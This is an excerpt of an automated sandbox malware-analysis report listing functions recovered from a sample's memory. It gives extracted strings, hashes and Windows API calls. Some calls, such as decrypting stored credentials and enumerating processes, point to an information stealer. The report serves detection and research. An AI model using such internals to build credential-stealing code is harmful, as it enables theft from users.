                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: 4~2$Ez$W+u$[=GV$_SY
                                      • API String ID: 0-1600416169
                                      • Opcode ID: dcab7d19e06c1ec6a7d74fd80e00f3301af6a72eac2e3fb41c5340a5a08235b0
                                      • Instruction ID: 503d7075ab3e09442882a1c7f1d78593c623d74c096ccb1923f0971d99202d5c
                                      • Opcode Fuzzy Hash: dcab7d19e06c1ec6a7d74fd80e00f3301af6a72eac2e3fb41c5340a5a08235b0
                                      • Instruction Fuzzy Hash: ACB205F360C2049FE3046F29EC8567AFBE9EF94720F1A492DEAC483740EA3558558797
                                      Function 00A4F0D3 Relevance: 7.8, Strings: 5, Instructions: 1517COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: !,e$$R^$SVs?$(}$`=w
                                      • API String ID: 0-1404569011
                                      • Opcode ID: acb22097b523b7e99c686be5b0f146ee90387936174184dfc1f53a2df445de96
                                      • Instruction ID: 69eef5c54cdc56669875e2596aa671751562f05c94c35cade43042ce57c363ea
                                      • Opcode Fuzzy Hash: acb22097b523b7e99c686be5b0f146ee90387936174184dfc1f53a2df445de96
                                      • Instruction Fuzzy Hash: 1DA2E5F3A0C2009FE304AF2DEC4567ABBE5EF94720F16893DEAC483344EA7558558697
                                      Function 0065F8D6 Relevance: 7.6, Strings: 6, Instructions: 123COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: \u$\u${${$}$}
                                      • API String ID: 0-582841131
                                      • Opcode ID: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
                                      • Instruction ID: ba09e727bd7cf907e3bd80c7ac2c6453530cb6fea385b43e7fe5bd401448d2ad
                                      • Opcode Fuzzy Hash: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
                                      • Instruction Fuzzy Hash: AA415E22E19BD9C5CB058B7444A02AEBFB36FD6210F6D42AEC4DD1F782C774414AD3A5
                                      Function 005FC920 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005FC971
                                      • CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005FC97C
                                      • lstrcat.KERNEL32(?,00610B47), ref: 005FCA43
                                      • lstrcat.KERNEL32(?,00610B4B), ref: 005FCA57
                                      • lstrcat.KERNEL32(?,00610B4E), ref: 005FCA78
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcat$BinaryCryptStringlstrlen
                                      • String ID:
                                      • API String ID: 189259977-0
                                      • Opcode ID: e8210c31ce54c1b7c4b125af86161d2b45e28e3419dacc7604297577494e06fe
                                      • Instruction ID: 4b12a67a64c471877a78f54d8e0ae0bbe4c608e3fd44d95ea8c9984a9ccb564d
                                      • Opcode Fuzzy Hash: e8210c31ce54c1b7c4b125af86161d2b45e28e3419dacc7604297577494e06fe
                                      • Instruction Fuzzy Hash: 6641517490821DDBDB10CFA4DD89FFEBBB9BB48304F1045A8E609A7280D7755A84CF91
                                      Function 005F72A0 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000008,00000400), ref: 005F72AD
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 005F72B4
                                      • CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 005F72E1
                                      • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 005F7304
                                      • LocalFree.KERNEL32(?), ref: 005F730E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
                                      • String ID:
                                      • API String ID: 2609814428-0
                                      • Opcode ID: e6ed559a49c7c2746a63a892369c340fe3edd1cd7ed80f11bf39baa65b8eda1f
                                      • Instruction ID: fa052411added108056ee1cdf093cf9b0822f27100b054242ed2e40cf9eee884
                                      • Opcode Fuzzy Hash: e6ed559a49c7c2746a63a892369c340fe3edd1cd7ed80f11bf39baa65b8eda1f
                                      • Instruction Fuzzy Hash: CB011275A44308BBEB10DFE4DD45FAD7778BB44B00F104545FB05BB2C0D6B0AA409B55
                                      Function 00609790 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 006097AE
                                      • Process32First.KERNEL32(00610ACE,00000128), ref: 006097C2
                                      • Process32Next.KERNEL32(00610ACE,00000128), ref: 006097D7
                                      • StrCmpCA.SHLWAPI(?,00000000), ref: 006097EC
                                      • CloseHandle.KERNEL32(00610ACE), ref: 0060980A
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                      • String ID:
                                      • API String ID: 420147892-0
                                      • Opcode ID: 69f2b69e9f131e66999740bf6ca40dfa968898d12552e9e31966356e3dac7718
                                      • Instruction ID: 46a0f2a0b6251153ba742c3c6ecbaf600a66409c0ca71150ac99f0370b3e08db
                                      • Opcode Fuzzy Hash: 69f2b69e9f131e66999740bf6ca40dfa968898d12552e9e31966356e3dac7718
                                      • Instruction Fuzzy Hash: D6011E75A54208EBDB24DFA4CD44FDEB7BABB48700F108589E50A97380E7309B40CF60
                                      Function 00614573 Relevance: 7.3, Strings: 2, Instructions: 4819COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: <7\h$huzx
                                      • API String ID: 0-2989614873
                                      • Opcode ID: 7eb3bdc0e0c5d631cfbe53155e1ab1a1baa4b8cd2ca62bdfc37e045bbc204dbd
                                      • Instruction ID: 83965fb849194fd8bd15830c077317ce4424c3bd1ca77ef90938ac015e015aff
                                      • Opcode Fuzzy Hash: 7eb3bdc0e0c5d631cfbe53155e1ab1a1baa4b8cd2ca62bdfc37e045bbc204dbd
                                      • Instruction Fuzzy Hash: 7C63313241EBD45ECB27CB3087B61D1BF67BA5321031D49CEC8C28B5B3C6949A96E356
                                      Function 00A3E497 Relevance: 6.7, Strings: 4, Instructions: 1676COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: !;m}$^~L_$jb~}$u<_
                                      • API String ID: 0-1641347417
                                      • Opcode ID: 1487a797005c215eb2bd85ffed140f28489d9dfe281ebdb39d013109b0a16e1d
                                      • Instruction ID: c5a0df27b46678e4c5be5944a023281f368bc737dfee9cf663fadbd913ac443f
                                      • Opcode Fuzzy Hash: 1487a797005c215eb2bd85ffed140f28489d9dfe281ebdb39d013109b0a16e1d
                                      • Instruction Fuzzy Hash: 1DB226F360C2049FD704AE2DEC8567ABBE9EFD4320F1A8A3DE6C5C7744E63558058692
                                      Function 00A4BDA9 Relevance: 6.4, Strings: 4, Instructions: 1379COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: K&=$Y/=>$gFzw$}cs*
                                      • API String ID: 0-2643627819
                                      • Opcode ID: 67e73df7ab32414d148dedff5e51b8e00298e2dc79ebb5e83a284ddbb7cde42e
                                      • Instruction ID: 7eccecddb329dfe5ef7a086b37807e3ad66e8dafa7bb6c4cd5928c0b85c169bc
                                      • Opcode Fuzzy Hash: 67e73df7ab32414d148dedff5e51b8e00298e2dc79ebb5e83a284ddbb7cde42e
                                      • Instruction Fuzzy Hash: 899217F3A0C2009FE7046E2DEC8567AFBE9EF94720F1A453DEAC4C7744E63598058696
                                      Function 00609030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptBinaryToStringA.CRYPT32(00000000,005F51D4,40000001,00000000,00000000,?,005F51D4), ref: 00609050
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: BinaryCryptString
                                      • String ID:
                                      • API String ID: 80407269-0
                                      • Opcode ID: bf2bee7fa5cf67150078cb8cb54ba0815dadd1e8da896d2caa62f9e046204c37
                                      • Instruction ID: 385f570c1bc976dccde09712acdb564d6901ea57020acbcdfa1a1fb2b72e93b9
                                      • Opcode Fuzzy Hash: bf2bee7fa5cf67150078cb8cb54ba0815dadd1e8da896d2caa62f9e046204c37
                                      • Instruction Fuzzy Hash: 5511C574244209EFDB08CF64D885FAB33BABF89310F108558FA5A8B391D775E9419BA4
                                      Function 00607B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00610DE8,00000000,?), ref: 00607B40
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 00607B47
                                      • GetLocalTime.KERNEL32(?,?,?,?,?,00610DE8,00000000,?), ref: 00607B54
                                      • wsprintfA.USER32 ref: 00607B83
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateLocalProcessTimewsprintf
                                      • String ID:
                                      • API String ID: 377395780-0
                                      • Opcode ID: 1adc12a821f7ca94e3c22f68e9a4121a51a4231aee26eafa2e1f1e8ff1fd6153
                                      • Instruction ID: b74638aabe35e3cd5f42765d766e59bbfb86985bd1064881458422d3c54fceb8
                                      • Opcode Fuzzy Hash: 1adc12a821f7ca94e3c22f68e9a4121a51a4231aee26eafa2e1f1e8ff1fd6153
                                      • Instruction Fuzzy Hash: FA1118B2908518AACB149BCADD45FBEB7B8FB48B11F10421AF605A2280D3395940CBB0
